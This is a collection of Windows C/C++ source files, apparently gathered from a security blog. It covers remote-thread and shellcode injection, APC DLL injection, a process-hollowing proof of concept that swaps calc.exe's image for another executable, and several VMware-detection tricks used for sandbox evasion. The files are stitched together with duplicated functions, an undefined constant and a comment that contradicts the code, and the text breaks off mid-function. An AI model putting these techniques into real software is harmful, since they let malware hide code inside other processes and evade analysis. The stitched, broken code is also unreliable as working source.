// CodeInjector.h
#ifndef _CODE_INJECTOR_H__
#define _CODE_INJECTOR_H__
 
#include <windows.h>
 
#define CHECK_NULL_RET(bCondition) if (!bCondition) goto Exit0
 
#define REMOTE_ALLOC_SIZE (1024 * 4)
 
#endif

// Main.cpp
// Author: 代码疯子
// Blog: http://www.programlife.net/
#include <stdio.h>
#include <string.h>
#include "CodeInjector.h"
 
typedef struct _INJECT_PARAM
{
	CHAR szMsgTitle[64];
	CHAR szMsgContent[256];
 
	DWORD dwMessageBoxA;
} INJECT_PARAM, *PINJECT_PARAM;
 
#pragma check_stack(off)
static DWORD WINAPI RemoteThreadProc(LPVOID lpParameter)
{
	typedef int (WINAPI *PFN_MessageBoxA)(HWND, LPCSTR, LPCSTR, UINT);
	PINJECT_PARAM lpParam = (PINJECT_PARAM)lpParameter;
	PFN_MessageBoxA pfnMessageBoxA = (PFN_MessageBoxA)lpParam->dwMessageBoxA;
 
	pfnMessageBoxA(NULL, lpParam->szMsgContent, lpParam->szMsgTitle, MB_ICONWARNING);
 
	return TRUE;
}
 
static void AfterRemoteThreadProc(void){ return ;}
#pragma check_stack
 
BOOL EnableDebugPrivilege(void)
{
	HANDLE hToken; 
	TOKEN_PRIVILEGES tkp;
	BOOL bRet = FALSE;
 
	bRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
	CHECK_NULL_RET(bRet);
 
	bRet = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid);
	CHECK_NULL_RET(bRet);
	tkp.PrivilegeCount = 1;  
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
 
	bRet = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
	CHECK_NULL_RET(bRet);
	bRet = TRUE;
 
Exit0:
	CloseHandle(hToken);
	return bRet;
}
 
BOOL InjectCode(DWORD dwPid)
{
	BOOL bRet = FALSE;
	HANDLE hProcess = NULL;
	LPVOID lpThreadProc = NULL;
	DWORD dwResult = 0;
	HANDLE hThread = NULL;
	DWORD dwThreadProcSize = 0;
	INJECT_PARAM stParam = {0};
	LPVOID lpParam = NULL;
 
	bRet = EnableDebugPrivilege();
	CHECK_NULL_RET(bRet);
 
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	CHECK_NULL_RET(bRet);
 
	// Allocate memory for ThreadProc
	lpThreadProc = VirtualAllocEx(hProcess, NULL, REMOTE_ALLOC_SIZE, 
		MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	CHECK_NULL_RET(lpThreadProc);
 
	dwThreadProcSize = (BYTE *)AfterRemoteThreadProc - (BYTE *)RemoteThreadProc;
	bRet = WriteProcessMemory(hProcess, lpThreadProc, (LPVOID)RemoteThreadProc, 
				dwThreadProcSize, &dwResult);
	CHECK_NULL_RET(bRet);
 
	HMODULE hUser32 = LoadLibrary(TEXT("user32.dll"));
	stParam.dwMessageBoxA = (DWORD)GetProcAddress(hUser32, "MessageBoxA");
 
	strcpy(stParam.szMsgTitle, "Just a Test");
	strcpy(stParam.szMsgContent, "Http://Www.ProgramLife.Net/");
 
	// Allocate memory for parameter
	lpParam = VirtualAllocEx(hProcess, NULL, sizeof(INJECT_PARAM), 
		MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	CHECK_NULL_RET(lpParam);
 
	bRet = WriteProcessMemory(hProcess, lpParam, (LPVOID)&stParam, 
		sizeof(stParam), &dwResult);
	CHECK_NULL_RET(bRet);
 
	hThread = CreateRemoteThread(
				hProcess,
				NULL,
				0,
				(LPTHREAD_START_ROUTINE)lpThreadProc,
				lpParam,
				0,
				NULL);
	CHECK_NULL_RET(hThread);
 
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);
 
Exit0:
	if (NULL != lpThreadProc)
	{
		VirtualFreeEx(hProcess, lpThreadProc, 0, MEM_RELEASE);
	}
	if (NULL != lpParam)
	{
		VirtualFreeEx(hProcess, lpParam, 0, MEM_RELEASE);
	}
	CloseHandle(hProcess);
	return bRet;
}
 
int main(int argc, char **argv)
{
	if (argc != 2)
	{
		printf("Usage: %s PID\n", argv[0]);
		return 1;
	}
 
	DWORD dwPid = atoi(argv[1]);
	InjectCode(dwPid);
 
	return 0;
}

DWORD ReadShellcode(BYTE *pShellcode, CHAR *szShellcode)
{
	HANDLE hFile = CreateFileA(
						szShellcode,
						GENERIC_READ,
						FILE_SHARE_READ,
						NULL,
						OPEN_EXISTING,
						FILE_ATTRIBUTE_NORMAL,
						NULL);
 
	DWORD dwSize = GetFileSize(hFile, NULL);
	DWORD dwRead = 0;
 
	ReadFile(hFile, (LPVOID)pShellcode, dwSize, &dwRead, NULL);
	CloseHandle(hFile);
 
	return dwRead;
}
 
// szShellcode为Shellcode文件Path
BOOL InjectCode(DWORD dwPid, CHAR *szShellcode)
{
	BOOL bRet = FALSE;
	HANDLE hProcess = NULL;
	LPVOID lpThreadProc = NULL;
	BYTE pShellcode[SHELL_CODE_SIZE] = {0};
	DWORD dwShellcodeSize = 0;
	DWORD dwResult = 0;
	HANDLE hThread = NULL;
 
	bRet = EnableDebugPrivilege();
	CHECK_NULL_RET(bRet);
 
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	CHECK_NULL_RET(bRet);
 
	lpThreadProc = VirtualAllocEx(hProcess, NULL, REMOTE_ALLOC_SIZE, 
		MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	CHECK_NULL_RET(lpThreadProc);
 
	dwShellcodeSize = ReadShellcode(pShellcode, szShellcode);
	bRet = WriteProcessMemory(hProcess, lpThreadProc, (LPVOID)pShellcode, 
				dwShellcodeSize, &dwResult);
	CHECK_NULL_RET(bRet);
 
	hThread = CreateRemoteThread(
				hProcess,
				NULL,
				0,
				(LPTHREAD_START_ROUTINE)lpThreadProc,
				NULL,
				0,
				NULL);
	CHECK_NULL_RET(hThread);
 
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);
 
Exit0:
	if (NULL != lpThreadProc)
	{
		VirtualFreeEx(hProcess, lpThreadProc, 0, MEM_RELEASE);
	}
	CloseHandle(hProcess);
	return bRet;
}

// ApcInjection.cpp
// Author: 代码疯子
// Blog: http://www.programlife.net/
#include <windows.h>
#include <TlHelp32.h>
#include <stdio.h>
#include <string.h>
 
#define CHECK_NULL_RET(bCondition) if (!bCondition) goto Exit0
 
BOOL EnableDebugPrivilege(void)
{
	HANDLE hToken; 
	TOKEN_PRIVILEGES tkp;
	BOOL bRet = FALSE;
 
	bRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
	CHECK_NULL_RET(bRet);
 
	bRet = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid);
	CHECK_NULL_RET(bRet);
	tkp.PrivilegeCount = 1;  
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
 
	bRet = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
	CHECK_NULL_RET(bRet);
	bRet = TRUE;
 
Exit0:
	CloseHandle(hToken);
	return bRet;
}
 
BOOL ApcInject(DWORD dwPid, CHAR *pszDllPath)
{
	HANDLE hProcess = NULL;
	BOOL bRet = FALSE;
	HANDLE hSnapshot = NULL;
	LPVOID lpDllName = NULL;
	DWORD dwResult = 0;
	THREADENTRY32 te32;
 
	bRet = EnableDebugPrivilege();
	CHECK_NULL_RET(bRet);
 
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	CHECK_NULL_RET(bRet);
 
	lpDllName = VirtualAllocEx(hProcess, NULL, strlen(pszDllPath) + 1, 
		MEM_COMMIT, PAGE_READWRITE);
	CHECK_NULL_RET(lpDllName);
 
	bRet = WriteProcessMemory(hProcess, lpDllName, (LPVOID)pszDllPath, 
		strlen(pszDllPath) + 1, &dwResult);
 
	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dwPid);
	CHECK_NULL_RET((hSnapshot != INVALID_HANDLE_VALUE));
 
	te32.dwSize = sizeof(THREADENTRY32);
	bRet = Thread32First(hSnapshot, &te32);
	while (bRet)
	{
		if (te32.th32OwnerProcessID == dwPid)
		{
			HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
			if (hThread)
			{
				dwResult = QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpDllName);
				CloseHandle(hThread);
			}
		}
		te32.dwSize = sizeof(THREADENTRY32);
		bRet = Thread32Next(hSnapshot, &te32);
	}
 
Exit0:
	// VirtualFreeEx
	CloseHandle(hSnapshot);
	CloseHandle(hProcess);
 
	// Do NOT check this value
	return bRet;
}
 
int main(int argc, char **argv)
{
	if (argc != 3)
	{
		printf("Usage: %s PID DllPath\n", argv[0]);
		return 1;
	}
 
	ApcInject(atoi(argv[1]), argv[2]);
 
	return 0;
}

//******************************************************************************************
// loadEXE.cpp : Defines the entry point for the console application.
//
// Proof-Of-Concept Code
// Copyright (c) 2004
// All rights reserved.
//
// Permission is hereby granted, free of charge, to any person obtaining a
// copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, and/or sell copies of the Software, and to permit persons
// to whom the Software is furnished to do so, provided that the above
// copyright notice(s) and this permission notice appear in all copies of
// the Software and that both the above copyright notice(s) and this
// permission notice appear in supporting documentation.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
// HOLDERS INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL
// INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING
// FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,
// NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION
// WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
//
// Usage:
// loadEXE <EXE filename>
//
// This will execute calc.exe in suspended mode and replace its image with
// the new EXE's image.  The thread is then resumed, thus causing the new EXE to
// execute within the process space of svchost.exe.
//
//******************************************************************************************
 
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#include <psapi.h>
 
struct PE_Header 
{
	unsigned long signature;
	unsigned short machine;
	unsigned short numSections;
	unsigned long timeDateStamp;
	unsigned long pointerToSymbolTable;
	unsigned long numOfSymbols;
	unsigned short sizeOfOptionHeader;
	unsigned short characteristics;
};
 
struct PE_ExtHeader
{
	unsigned short magic;
	unsigned char majorLinkerVersion;
	unsigned char minorLinkerVersion;
	unsigned long sizeOfCode;
	unsigned long sizeOfInitializedData;
	unsigned long sizeOfUninitializedData;
	unsigned long addressOfEntryPoint;
	unsigned long baseOfCode;
	unsigned long baseOfData;
	unsigned long imageBase;
	unsigned long sectionAlignment;
	unsigned long fileAlignment;
	unsigned short majorOSVersion;
	unsigned short minorOSVersion;
	unsigned short majorImageVersion;
	unsigned short minorImageVersion;
	unsigned short majorSubsystemVersion;
	unsigned short minorSubsystemVersion;
	unsigned long reserved1;
	unsigned long sizeOfImage;
	unsigned long sizeOfHeaders;
	unsigned long checksum;
	unsigned short subsystem;
	unsigned short DLLCharacteristics;
	unsigned long sizeOfStackReserve;
	unsigned long sizeOfStackCommit;
	unsigned long sizeOfHeapReserve;
	unsigned long sizeOfHeapCommit;
	unsigned long loaderFlags;
	unsigned long numberOfRVAAndSizes;
	unsigned long exportTableAddress;
	unsigned long exportTableSize;
	unsigned long importTableAddress;
	unsigned long importTableSize;
	unsigned long resourceTableAddress;
	unsigned long resourceTableSize;
	unsigned long exceptionTableAddress;
	unsigned long exceptionTableSize;
	unsigned long certFilePointer;
	unsigned long certTableSize;
	unsigned long relocationTableAddress;
	unsigned long relocationTableSize;
	unsigned long debugDataAddress;
	unsigned long debugDataSize;
	unsigned long archDataAddress;
	unsigned long archDataSize;
	unsigned long globalPtrAddress;
	unsigned long globalPtrSize;
	unsigned long TLSTableAddress;
	unsigned long TLSTableSize;
	unsigned long loadConfigTableAddress;
	unsigned long loadConfigTableSize;
	unsigned long boundImportTableAddress;
	unsigned long boundImportTableSize;
	unsigned long importAddressTableAddress;
	unsigned long importAddressTableSize;
	unsigned long delayImportDescAddress;
	unsigned long delayImportDescSize;
	unsigned long COMHeaderAddress;
	unsigned long COMHeaderSize;
	unsigned long reserved2;
	unsigned long reserved3;
};
 
 
struct SectionHeader
{
	unsigned char sectionName[8];
	unsigned long virtualSize;
	unsigned long virtualAddress;
	unsigned long sizeOfRawData;
	unsigned long pointerToRawData;
	unsigned long pointerToRelocations;
	unsigned long pointerToLineNumbers;
	unsigned short numberOfRelocations;
	unsigned short numberOfLineNumbers;
	unsigned long characteristics;
};
 
struct MZHeader
{
	unsigned short signature;
	unsigned short partPag;
	unsigned short pageCnt;
	unsigned short reloCnt;
	unsigned short hdrSize;
	unsigned short minMem;
	unsigned short maxMem;
	unsigned short reloSS;
	unsigned short exeSP;
	unsigned short chksum;
	unsigned short exeIP;
	unsigned short reloCS;
	unsigned short tablOff;
	unsigned short overlay;
	unsigned char reserved[32];
	unsigned long offsetToPE;
};
 
 
struct ImportDirEntry
{
	DWORD importLookupTable;
	DWORD timeDateStamp;
	DWORD fowarderChain;
	DWORD nameRVA;
	DWORD importAddressTable;
};
 
 
//******************************************************************************************
//
// This function reads the MZ, PE, PE extended and Section Headers from an EXE file.
//
//******************************************************************************************
 
bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH,
				SectionHeader **outSecHdr)
{
	fseek(fp, 0, SEEK_END);
	long fileSize = ftell(fp);
	fseek(fp, 0, SEEK_SET);
 
	if(fileSize < sizeof(MZHeader))
	{
		printf("File size too small\n");		
		return false;
	}
 
	// read MZ Header
	MZHeader mzH;
	fread(&mzH, sizeof(MZHeader), 1, fp);
 
	if(mzH.signature != 0x5a4d)		// MZ
	{
		printf("File does not have MZ header\n");
		return false;
	}
 
	//printf("Offset to PE Header = %X\n", mzH.offsetToPE);
 
	if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header))
	{
		printf("File size too small\n");		
		return false;
	}
 
	// read PE Header
	fseek(fp, mzH.offsetToPE, SEEK_SET);
	PE_Header peH;
	fread(&peH, sizeof(PE_Header), 1, fp);
 
	//printf("Size of option header = %d\n", peH.sizeOfOptionHeader);
	//printf("Number of sections = %d\n", peH.numSections);
 
	if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
	{
		printf("Unexpected option header size.\n");
 
		return false;
	}
 
	// read PE Ext Header
	PE_ExtHeader peXH;
 
	fread(&peXH, sizeof(PE_ExtHeader), 1, fp);
 
	//printf("Import table address = %X\n", peXH.importTableAddress);
	//printf("Import table size = %X\n", peXH.importTableSize);
	//printf("Import address table address = %X\n", peXH.importAddressTableAddress);
	//printf("Import address table size = %X\n", peXH.importAddressTableSize);
 
 
	// read the sections
	SectionHeader *secHdr = new SectionHeader[peH.numSections];
 
	fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp);
 
	*outMZ = mzH;
	*outPE = peH;
	*outpeXH = peXH;
	*outSecHdr = secHdr;
 
	return true;
}
 
 
//******************************************************************************************
//
// This function calculates the size required to load an EXE into memory with proper alignment.
//
//******************************************************************************************
 
int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
				       SectionHeader *inSecHdr)
{
	int result = 0;
	int alignment = inpeXH->sectionAlignment;
 
	if(inpeXH->sizeOfHeaders % alignment == 0)
		result += inpeXH->sizeOfHeaders;
	else
	{
		int val = inpeXH->sizeOfHeaders / alignment;
		val++;
		result += (val * alignment);
	}
 
 
	for(int i = 0; i < inPE->numSections; i++)
	{
		if(inSecHdr[i].virtualSize)
		{
			if(inSecHdr[i].virtualSize % alignment == 0)
				result += inSecHdr[i].virtualSize;
			else
			{
				int val = inSecHdr[i].virtualSize / alignment;
				val++;
				result += (val * alignment);
			}
		}
	}
 
	return result;
}
 
 
//******************************************************************************************
//
// This function calculates the aligned size of a section
//
//******************************************************************************************
 
unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment)
{	
	if(curSize % alignment == 0)
		return curSize;
	else
	{
		int val = curSize / alignment;
		val++;
		return (val * alignment);
	}
}
 
 
//******************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//******************************************************************************************
 
bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
			SectionHeader *inSecHdr, LPVOID ptrLoc)
{
	char *outPtr = (char *)ptrLoc;
 
	fseek(fp, 0, SEEK_SET);
	unsigned long headerSize = inpeXH->sizeOfHeaders;
 
    int i = 0;
 
	// certain PE files have sectionHeaderSize value > size of PE file itself.  
	// this loop handles this situation by find the section that is nearest to the
	// PE header.
 
	for(i = 0; i < inPE->numSections; i++)
	{
		if(inSecHdr[i].pointerToRawData < headerSize)
			headerSize = inSecHdr[i].pointerToRawData;
	}
 
	// read the PE header
	unsigned long readSize = fread(outPtr, 1, headerSize, fp);
	//printf("HeaderSize = %d\n", headerSize);
	if(readSize != headerSize)
	{
		printf("Error reading headers (%d %d)\n", readSize, headerSize);
		return false;		
	}
 
	outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment);
 
	// read the sections
	for(i = 0; i < inPE->numSections; i++)
	{
		if(inSecHdr[i].sizeOfRawData > 0)
		{
			unsigned long toRead = inSecHdr[i].sizeOfRawData;
			if(toRead > inSecHdr[i].virtualSize)
				toRead = inSecHdr[i].virtualSize;
 
			fseek(fp, inSecHdr[i].pointerToRawData, SEEK_SET);
			readSize = fread(outPtr, 1, toRead, fp);
 
			if(readSize != toRead)
			{
				printf("Error reading section %d\n", i);
				return false;
			}
			outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
		}
		else
		{
			// this handles the case where the PE file has an empty section. E.g. UPX0 section
			// in UPXed files.
 
			if(inSecHdr[i].virtualSize)
				outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
		}
	}
 
	return true;
}
 
 
struct FixupBlock
{
	unsigned long pageRVA;
	unsigned long blockSize;
};
 
 
//******************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//******************************************************************************************
 
void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
			      SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase)
{
	if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
	{
		FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress);
		long delta = newBase - inpeXH->imageBase;
 
		while(fixBlk->blockSize)
		{
			//printf("Addr = %X\n", fixBlk->pageRVA);
			//printf("Size = %X\n", fixBlk->blockSize);
 
			int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1;
			//printf("Num Entries = %d\n", numEntries);
 
			unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1);
 
			for(int i = 0; i < numEntries; i++)
			{
				DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF));
 
				int relocType = (*offsetPtr & 0xF000) >> 12;
 
				//printf("Val = %X\n", *offsetPtr);
				//printf("Type = %X\n", relocType);
 
				if(relocType == 3)
					*codeLoc = ((DWORD)*codeLoc) + delta;
				else
				{
					printf("Unknown relocation type = %d\n", relocType);
				}
				offsetPtr++;
			}
 
			fixBlk = (FixupBlock *)offsetPtr;
		}
	}	
}
 
 
#define TARGETPROC "calc.exe"
 
typedef struct _PROCINFO
{
	DWORD baseAddr;
	DWORD imageSize;
} PROCINFO;
 
 
 
//******************************************************************************************
//
// Creates the original EXE in suspended mode and returns its info in the PROCINFO structure.
//
//******************************************************************************************
 
 
BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo)
{
	STARTUPINFO si = {0};
 
	if(CreateProcess(NULL, TARGETPROC,
		             NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi))		
	{
		ctx->ContextFlags=CONTEXT_FULL;
		GetThreadContext(pi->hThread, ctx);
 
		DWORD *pebInfo = (DWORD *)ctx->Ebx;
		DWORD read;
		ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read);
 
		DWORD curAddr = outChildProcInfo->baseAddr;
		MEMORY_BASIC_INFORMATION memInfo;
		while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo)))
		{
			if(memInfo.State == MEM_FREE)
				break;
			curAddr += memInfo.RegionSize;
		}
		outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr;
 
		return TRUE;
	}
	return FALSE;
}
 
 
//******************************************************************************************
//
// Returns true if the PE file has a relocation table
//
//******************************************************************************************
 
BOOL hasRelocationTable(PE_ExtHeader *inpeXH)
{
	if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
	{
		return TRUE;
	}
	return FALSE;
}
 
 
typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress);
 
 
//******************************************************************************************
//
// To replace the original EXE with another one we do the following.
// 1) Create the original EXE process in suspended mode.
// 2) Unmap the image of the original EXE.
// 3) Allocate memory at the baseaddress of the new EXE.
// 4) Load the new EXE image into the allocated memory.  
// 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended 
//    thread.
//
// When the original EXE process is created in suspend mode, GetThreadContext returns these useful
// register values.
// EAX - process entry point
// EBX - points to PEB
//
// So before resuming the suspended thread, we need to set EAX of the context to the entry point of the
// new EXE.
//
//******************************************************************************************
 
void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
			SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize)
{
	STARTUPINFO si = {0};
	PROCESS_INFORMATION pi;
	CONTEXT ctx;
	PROCINFO childInfo;
 
	if(createChild(&pi, &ctx, &childInfo)) 
	{		
		printf("Original EXE loaded (PID = %d).\n", pi.dwProcessId);
		printf("Original Base Addr = %X, Size = %X\n", childInfo.baseAddr, childInfo.imageSize);
 
		LPVOID v = (LPVOID)NULL;
 
		if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize)
		{
			// if new EXE has same baseaddr and is its size is <= to the original EXE, just
			// overwrite it in memory
			v = (LPVOID)childInfo.baseAddr;
			DWORD oldProtect;
			VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect);			
 
			printf("Using Existing Mem for New EXE at %X\n", (unsigned long)v);
		}
		else
		{
			// get address of ZwUnmapViewOfSection
			PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");
 
			// try to unmap the original EXE image
			if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0)
			{
				// allocate memory for the new EXE image at the prefered imagebase.
				v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
				if(v)
					printf("Unmapped and Allocated Mem for New EXE at %X\n", (unsigned long)v);
			}
		}
 
		if(!v && hasRelocationTable(inpeXH))
		{
			// if unmap failed but EXE is relocatable, then we try to load the EXE at another
			// location
			v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
			if(v)
			{
				printf("Allocated Mem for New EXE at %X. EXE will be relocated.\n", (unsigned long)v);
 
				// we've got to do the relocation ourself if we load the image at another
				// memory location				
				doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v);
			}
		}
 
		printf("EIP = %X\n", ctx.Eip);
		printf("EAX = %X\n", ctx.Eax);
		printf("EBX = %X\n", ctx.Ebx);		// EBX points to PEB
		printf("ECX = %X\n", ctx.Ecx);
		printf("EDX = %X\n", ctx.Edx);
 
		if(v)
		{			
			printf("New EXE Image Size = %X\n", imageSize);
 
			// patch the EXE base addr in PEB (PEB + 8 holds process base addr)
			DWORD *pebInfo = (DWORD *)ctx.Ebx;
			DWORD wrote;						
			WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);
 
			// patch the base addr in the PE header of the EXE that we load ourselves
			PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc);
			peXH->imageBase = (DWORD)v;
 
			if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL))
			{	
				printf("New EXE image injected into process.\n");
 
				ctx.ContextFlags=CONTEXT_FULL;				
				//ctx.Eip = (DWORD)v + ((DWORD)dllLoaderWritePtr - (DWORD)ptrLoc);
 
				if((DWORD)v == childInfo.baseAddr)
				{
					ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint;		// eax holds new entry point
				}
				else
				{
					// in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was
					// performed.
					ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint;		// eax holds new entry point
				}
 
				printf("********> EIP = %X\n", ctx.Eip);
				printf("********> EAX = %X\n", ctx.Eax);
 
				SetThreadContext(pi.hThread,&ctx);
 
				ResumeThread(pi.hThread);
				printf("Process resumed (PID = %d).\n", pi.dwProcessId);
			}
			else
			{
				printf("WriteProcessMemory failed\n");
				TerminateProcess(pi.hProcess, 0);
			}
		}
		else
		{
			printf("Load failed.  Consider making this EXE relocatable.\n");
			TerminateProcess(pi.hProcess, 0);
		}
	}
	else
	{
		printf("Cannot load %s\n", TARGETPROC);
	}
}
 
 
 
 
int main(int argc, char* argv[])
{
	if(argc != 2)
	{
		printf("\nUsage: %s <EXE filename>\n", argv[0]);
		return 1;
	}
 
	FILE *fp = fopen(argv[1], "rb");
	if(fp)
	{
		MZHeader mzH;
		PE_Header peH;
		PE_ExtHeader peXH;
		SectionHeader *secHdr;
 
		if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr))
		{
			int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr);
			//printf("Image Size = %X\n", imageSize);
 
			LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
			if(ptrLoc)
			{
				//printf("Memory allocated at %X\n", ptrLoc);
				loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc);												
 
				doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize);								
			}
			else
				printf("Allocation failed\n");
		}
 
		fclose(fp);
	}
	else
		printf("\nCannot open the EXE file!\n");
 
	return 0;
}

bool IsInsideVMWare()
{
  bool rc = true;
 
  __try
  {
    __asm
    {
      push   edx
      push   ecx
      push   ebx
 
      mov    eax, 'VMXh'
      mov    ebx, 0  // 将ebx设置为非幻数’VMXH’的其它值
      mov    ecx, 10 // 指定功能号，用于获取VMWare版本，当它为0x14时用于获取VMware内存大小
      mov    edx, 'VX' // 端口号
      in     eax, dx // 从端口dx读取VMware版本到eax
//若上面指定功能号为0x14时，可通过判断eax中的值是否大于0，若是则说明处于虚拟机中
      cmp    ebx, 'VMXh' // 判断ebx中是否包含VMware版本’VMXh’，若是则在虚拟机中
      setz   [rc] // 设置返回值
 
      pop    ebx
      pop    ecx
      pop    edx
    }
  }
  __except(EXCEPTION_EXECUTE_HANDLER)  //如果未处于VMware中，则触发此异常
  {
    rc = false;
  }
 
  return rc;
}

#include <stdio.h>
int main ()
{
  //相当于SIDT[adrr],其中addr用于保存IDT地址
  unsigned char m[2+4], rpill[] = "\x0f\x01\x0d\x00\x00\x00\x00\xc3";
  //将sidt[addr]中的addr设为m的地址
  *((unsigned*)&rpill[3]) = (unsigned)m;
  //执行SIDT指令，并将读取后IDT地址保存在数组m中
  ((void(*)())&rpill)();
 
  //由于前2字节为IDT大小，因此从m[2]开始即为IDT地址
  printf ("idt base: %#x\n", *((unsigned*)&m[2]));
  //当IDT基址大于0xd0xxxxxx时则说明程序处于VMware中
  if (m[5]>0xd0) printf ("Inside Matrix!\n", m[5]);
  else printf ("Not in Matrix.\n");
  return 0;
}

#include <stdio.h>
 
void LDTDetect(void)
{
    unsigned short ldt_addr = 0;
    unsigned char ldtr[2];
 
    _asm sldt ldtr
    ldt_addr = *((unsigned short *)&ldtr);
    printf("LDT BaseAddr: 0x%x\n", ldt_addr);
 
    if(ldt_addr == 0x0000)
    {
        printf("Native OS\n");
    }
    else
        printf("Inside VMware\n");
}
 
void GDTDetect(void)
{
    unsigned int gdt_addr = 0;
    unsigned char gdtr[4];
 
    _asm sgdt gdtr
    gdt_addr = *((unsigned int *)&gdtr[2]);
    printf("GDT BaseAddr:0x%x\n", gdt_addr);
 
    if((gdt_addr >> 24) == 0xff)
    {
